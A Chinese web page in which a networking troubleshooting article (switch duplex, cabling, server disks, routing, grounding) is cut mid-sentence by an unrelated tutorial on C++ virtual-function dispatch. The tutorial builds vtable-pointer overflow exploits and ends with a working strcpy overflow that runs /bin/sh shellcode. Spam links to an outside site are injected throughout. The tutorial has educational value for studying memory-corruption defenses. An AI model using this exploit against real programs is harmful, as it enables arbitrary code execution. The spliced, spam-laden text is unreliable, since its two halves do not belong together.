1.配置交換機
將交換機端口配置<!--StartFragment-->目錄:=版權所有 軟件 下載 學院 版權所有=
1. C++中虛函數的靜態聯編和動態聯編
2. VC中對象的空間組織和溢出試驗
3. GCC中對象的空間組織和溢出試驗
4. 參考
<一> C++中虛函數的靜態聯編和動態聯編
C++中的一大法寶就是虛函數,簡單來說就是加virtual要害字定義的函數。
其特性就是支持動態聯編。現在C++開發的大型軟件中幾乎已經離不開虛函數的
使用,一個典型的例子就是虛函數是MFC的基石之一。
這裏有兩個概念需要先解釋:=版權所有 軟件 下載 學院 版權所有=
靜態聯編:通俗點來講就是程序編譯時確定調用目標的地址。
動態聯編:程序運行階段確定調用目標的地址。
在C++中通常的函數調用都是靜態聯編,但假如定義函數時加了virtual要害
字,並且在調用函數時是通過指針或引用調用,那麽此時就是采用動態聯編。
一個簡單例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC編譯:
開一個命令行直接在命令行調用cl來編譯: (假如你安裝vc時沒有選擇注冊環境
變量,那麽先在命令行運行VC目錄下bin\VCVARS32.BAT )
cl test.cpp /Fa
産生test.asm中間彙編代碼
接下來就看看asm裏有什麽玄虛,分析起來有點長,要有耐心 !
我們來看看:
數據定義:
_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個地址32位
_BSS ENDS
看到objA爲64位,裏邊存放了哪些內容呢? 接著看看構造函數:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個變量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWord PTR _this$[ebp], ecx ; ecx 賦值給 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是編譯器加的東東,我們的賦值在這裏
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看來 _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那個_this和mov DWORD PTR _this$[ebp], ecx 讓人比較郁悶了吧,不急看看何
處調用的構造函數:
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看,ecx指向objA的地址,通過賦值,那個_this就是objA的開始地址,其實CLASS中
的非靜態方法編譯器編譯時都會自動添加一個this變量,並且在函數開始處把ecx
賦值給他,指向調用該方法的對象的地址 。
那麽構造函數裏的這兩行又是幹什麽呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我們已經知道_this保存的爲對象地址: &objA。 那麽 eax = &objA
接著就相當于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
來看看 ??_7ClassA@@6B@ 是哪個道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看來這裏存放的就是test1(),test2()函數的入口地址 ! 那麽這個賦值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在對象的起始地址填入這麽一個地址列表的地址。
好了,至此我們已經看到了objA的構造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1變量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> |
+--------+ ---> objA的結束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
來看看main函數:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指針
; 指向調用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接調用,已經確定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是動態查找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]裏存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了,相信到這裏你已經對動態聯編有了深刻印象。
<二> VC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗
通過上面的分析我們可以對對象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成員變量| |
+----------+ ---> objA的結束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虛函數1的地址 |
+--------------+
|虛函數2的地址 |
+--------------+
| . . . . . . |
可以看出假如我們能覆蓋pvtable然後構造一個自己的vftable表那麽動態聯編就使得
我們能改變程序流程!
現在來作一個溢出試驗:
先寫個程序來看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl編譯運行結果爲:
0x00408998:0x00408990:0x00408991:0x00408994
編譯器把buff的地址放到後面了!
把程序改一改,定義變量時換成:
ClassEx obj1,obj2,* pobj;
int buff[1];
結果還是一樣!! 不會是vc就是防著這一手吧!
看來想覆蓋不輕易呀 ; )
只能通過obj1 溢出覆蓋obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//構造vtab,
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//這裏修改了函數指針列表的地址到vtab
pobj->test();
return 0;
}
編譯 cl ex_vc.cpp
運行結果:
ClassEx::test()
Why a u here ?!
測試環境: VC6
看我們修改了程序執行流程 ^_^
平時我們編程時可能用virtaul不多,但假如我們使用BC/VC等,且使用了廠商提供的
庫,其實我們已經大量使用了虛函數 ,以後寫程序可要小心了,一個不留神的變量
賦值可能會後患無窮。 //開始琢磨好多系統帶的程序也是vc寫的,裏邊會不會 ....
<三> GCC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗
剛才我們已經分析完vc下的許多細節了,那麽我們接下來看看gcc裏有沒有什麽不
一樣!分析方法一樣,就是寫個test.cpp用gcc -S test.cpp 來編譯得到彙編文件
test.s 然後分析test.s我們就能得到許多細節上的東西。
通過分析我們可以看到:
gcc中對象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>結構如下:
| 低地址 |
+---------------+ 對象的開始地址
| |
| 成員變量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虛函數1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虛函數2入口地址 |
+------------------+
| . . . . . . |
哈哈,可以看到gcc下有個非常大的優勢,就是成員變量在pvftable
前面,要是溢出成員變量賦值就能覆蓋pvftable,比vc下方便多了!
來寫個溢出測試程序:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小爲1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //構建的虛函數表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出,操作了虛函數列表指針
a.test(); //靜態聯編的,不會有事
p->test(); //動態聯編的,到我們的函數表去找地址,
// 結果就變成了調用函數 entry()
}
編譯: gcc test.cpp -lstdc++
執行結果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
測試程序說明:
具體的就是gcc -S test.cpp生成 test.s 後裏邊有這麽一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
這就是其虛函數列表裏的內容了。
test()地址在第3個(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>
所以我們構造addr[]時:
long addr[] = {0,0,0,(long)entry};
就覆蓋了test()函數的地址 爲 entry()的地址
p->test()
時就跑到我們構建的地址表裏取了entry的地址去運行了
測試環境 FreeBSD 4.4
gcc 2.95.3
來一個真實一點的測試:
通過溢出覆蓋pvftable,時期指向一個我們自己構造的
vftable,並且讓vftable的虛函數地址指向我們的一段shellcode
從而得到一個shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定義一個基礎類
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虛函數
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的機器上就是 &b ^_*
char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的慣用手法,
//一個基礎類的指針指向上層類對象時調
//用的爲高層類的虛函數
classBuff[i]->printBuffer(); // 這裏是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值,
//假如你的機器上兩個值不同就改一改addr值吧!
//構造一個非凡的buff呆會給b.setBuffer
// 在開始處構造一個vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虛函數printBuffer入口地址
// 的位置指向shell代碼處了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆蓋pvftable使其指向我們構造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再來一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 時一個shell就出來了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵,成功了
說明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是讓 b.buff溢出,覆蓋128+4+1個地址。
此時內存中的構造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此處即pvftable項 ,被溢出覆蓋爲 addr <---+
現在b.buff[0]的開始處就構建了一個我們自己的虛
函數表,虛函數的入口地址爲shellcode的地址 !
本文只是一個引導性文字,還有許多沒
有提到的細節,需要自己去分析。
俗話說自己動手豐衣足食 *_&
<四> 參考
Phrack56# << SMASHING C++ VPTRS >>
=版權所有 軟件 下載 學院 版權所有=
個人愚見,望斧正!
__watercloud__
(watercloud@nsfocus.com)
爲100M全雙工,服務器安裝一塊Intell00M EISA網卡,在大流量負荷數據傳輸時,速度變得極慢,最後發現這款網卡不支持全雙工。將交換機端口改爲半雙工以後,故障消失。這說明交換機的端口與網卡的速率和雙工方式必須一致。目前有許多自適應的網卡和交換機,由于品牌的不一致,往往不能正確實現全雙工方式,只有手工強制設定才能解決。
2.雙絞線的線序
將服務器與交換機的距離由5米改爲60米,結果無論如何也連接不通,爲什麽呢?以太網一般使用兩對雙絞線,排列在1、2、3、6的位置,假如使用的不是兩對線,而是將原配對使用的線分開使用,就會形成纏繞,從而産生較大的串擾(NEXT),影響網絡性能。上述故障的原因是由于3、6未使用配對線,在距離變長的情況下連接不通。將RJ45頭重新按線序做過以後,一切恢複正常。
3.網絡與硬盤
基于文件訪問和打印的網絡的瓶頸是服務器硬盤的速度,所以配置好服務器硬盤對于網絡的性能起著決定性的作用。以下提供幾點意見供你參考:
·選用SCSI接口和高轉速硬盤。
·硬盤陣列卡能較大幅度地提升硬盤的讀寫性能和安全性,建議選用。
·不要使低速SCSI設備(如CD)與硬盤共用同一SCSI通道。
4.網段與流量
某台服務器,有兩台文件讀寫極爲頻繁的工作站,當服務器只安裝一塊網卡,形成單獨網段時,這個網段上的所有設備反應都很慢,當服務器安裝了兩塊網卡,形成兩個網段以後,將這兩台文件讀寫極爲頻繁的工作站分別接在不同的網段上,網絡中所有設備的反應速度都有了顯著增加。這是因爲增加的網段分擔了原來較爲集中的數據流量,從而提高了網絡的反應速度。
5.橋接與路由
安裝一套微波聯網設備,上網調試時服務器上總是提示當前網段號應是對方的網段號。將服務器的網段號與對方改爲一致後,服務器的報警消失了。啊!原來這是一套具有橋接性質的設備。後來與另外一個地點安裝微波聯網設備,換用了其他一家廠商的産品,再連接,將兩邊的網段號改爲一致,可當裝上設備以後,服務器又出現了報警:當前路由錯誤。修改了一邊的網段以後,報警消失了。很明顯這是一套具有路由性質的設備。橋的特征是在同一網段上,而路由必須在不同網段上。
6.廣播幹擾
上述通過橋接設備聯網的兩端,分別有一套通過廣播發送信息的應用軟件。當它們同時運行時,兩邊的服務器均會發出報警:收到不完全的包。將一套應用軟件轉移到另外一個網段上以後,此報警消失。這是因爲網絡的廣播在同一網段上是沒有限制的。兩個廣播就産生了相互幹擾從而産生報警。而將一個應用軟件移到另外一個網段以後,就相當于把這個網段的廣播與另外網段上的廣播設置了路由,從而限制了廣播的幹擾,這也是路由器最重要的作用。
7.WAN與接地
無意將路由器的電源插頭插在了市電的插座上,結果64K DDN就是無法聯通。電信局來人檢查線路都很正常,最後檢查路由器電源的接地電壓,發現不對,換回到UPS的插座上,一切恢複正常。
路由器的電源插頭接地端壞掉,從而造成數據包經常丟失,做PING連接時,時好時壞。更換電源線後一切正常。WAN的連接因爲涉及到遠程線路,所以對于接地要求較爲嚴格,才能保證較強的抗幹擾性,達到規定的連接速率,不然會出現希奇的故障。